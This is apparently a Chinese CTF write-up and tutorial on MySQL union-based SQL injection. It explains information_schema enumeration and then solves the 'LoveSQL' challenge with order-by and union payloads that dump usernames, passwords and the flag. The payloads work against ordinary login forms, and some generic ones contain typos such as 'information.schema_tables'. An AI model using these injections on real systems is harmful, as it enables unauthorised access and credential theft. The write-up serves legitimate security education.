​ 数据库存储的数据按照下文的形式,一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数 据库名下的数据表,再获取当前数据表下的列,最后获取数据。

基本操作

查询检查下数据库:

1
show databases;

选择用mysql来执行命令

1
use mysql

查看这个数据库中有哪些表

1
show tables;

2

现在我们可以看到这里有24张表,然后我们来看下这张表的结构。

1
desc db;

在继续进行前台攻击时,我们想讨论下系统数据库,即 information_schema。所以我们使用它

1
2
3
use information_schema
show tables;
desc tables; #枚举这张表

使用查询:

1
select table_name from information_schema.tables where table_schema = "mysql";

4

使用这个查询,我们可以下载到表名。

Mysql 有一个系统数据库 information_schema,存储着所有的数据库的相关信息,一般的,

我们利用该表可以进行一次完整的注入。以下为一般的流程。

猜数据库

1
select schema_name from information_schema.schemata 

猜某库的数据表

1
select table_name from information_schema.tables where table_schema=’xxxxx’ 

猜某表的所有列

1
Select column_name from information_schema.columns where table_name=’xxxxx’ 

获取某列的内容

1
Select *** from ****

注入语句

查询库名

1
-1' union select 1,2,database()--+

查询表名

1
-1' union select 1,2,group_concat(table_name)from information.schema_tables where table_schema=database();--+

查询字段名

1
-1' union select 1,2,group_concat(column_name)from information.schema_columns where table_name='数据库表的名字'--+

查询数据

1
-1' union select 1,2,group_concat(一个或多个字段名,逗号分隔)from 表名 --+

题目

[极客大挑战 2019]LoveSQL1

5

先查询字段数

1
/check.php?username=admin' order by 3%23&password=1 

8

再试试order by 4

1
/check.php?username=admin' order by 4%23&password=1

9

可知共3个字段。使用联合查询,结合第一步查出来的字段数,构造payload:

1
check.php?username=1' union select null,null,(select database())%23&password=2

10

所以数据库名是geek,因此查表名

1
check.php?username=1' union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema='geek')%23&password=2

11

所以这个数据库里有两个表:geekuser,l0ve1ysq1

现在,已知两个表,我们一个一个进行查列

1
2
check.php?username=1' union select null,null,( select group_concat( column_name ) from information_schema.columns where table_name='geekuser')%23&password=2
check.php?username=1' union select null,null,( select group_concat( column_name ) from information_schema.columns where table_name='l0ve1ysq1')%23&password=2

二者都是得到

12

现在是查数据

1
2
check.php?username=1' union select null,null,group_concat(id,0x3a,username,0x3a,password) from geek.geekuser%23&password=2
check.php?username=1' union select null,null,group_concat(id,0x3a,username,0x3a,password) from geek.l0ve1ysq1%23&password=2

13

得到一串很像flag的字符串,但显示不完整,把整段复制下来

1
Your password is '1:cl4y:wo_tai_nan_le,2:glzjin:glzjin_wants_a_girlfriend,3:Z4cHAr7zCr:biao_ge_dddd_hm,4:0xC4m3l:linux_chuang_shi_ren,5:Ayrain:a_rua_rain,6:Akko:yan_shi_fu_de_mao_bo_he,7:fouc5:cl4y,8:fouc5:di_2_kuai_fu_ji,9:fouc5:di_3_kuai_fu_ji,10:fouc5:di_4_kuai_fu_ji,11:fouc5:di_5_kuai_fu_ji,12:fouc5:di_6_kuai_fu_ji,13:fouc5:di_7_kuai_fu_ji,14:fouc5:di_8_kuai_fu_ji,15:leixiao:Syc_san_da_hacker,16:flag:flag{0aabd4de-ed0b-4aa7-abe9-399364e2f5b0}'

提取flag字符串

1
flag{0aabd4de-ed0b-4aa7-abe9-399364e2f5b0}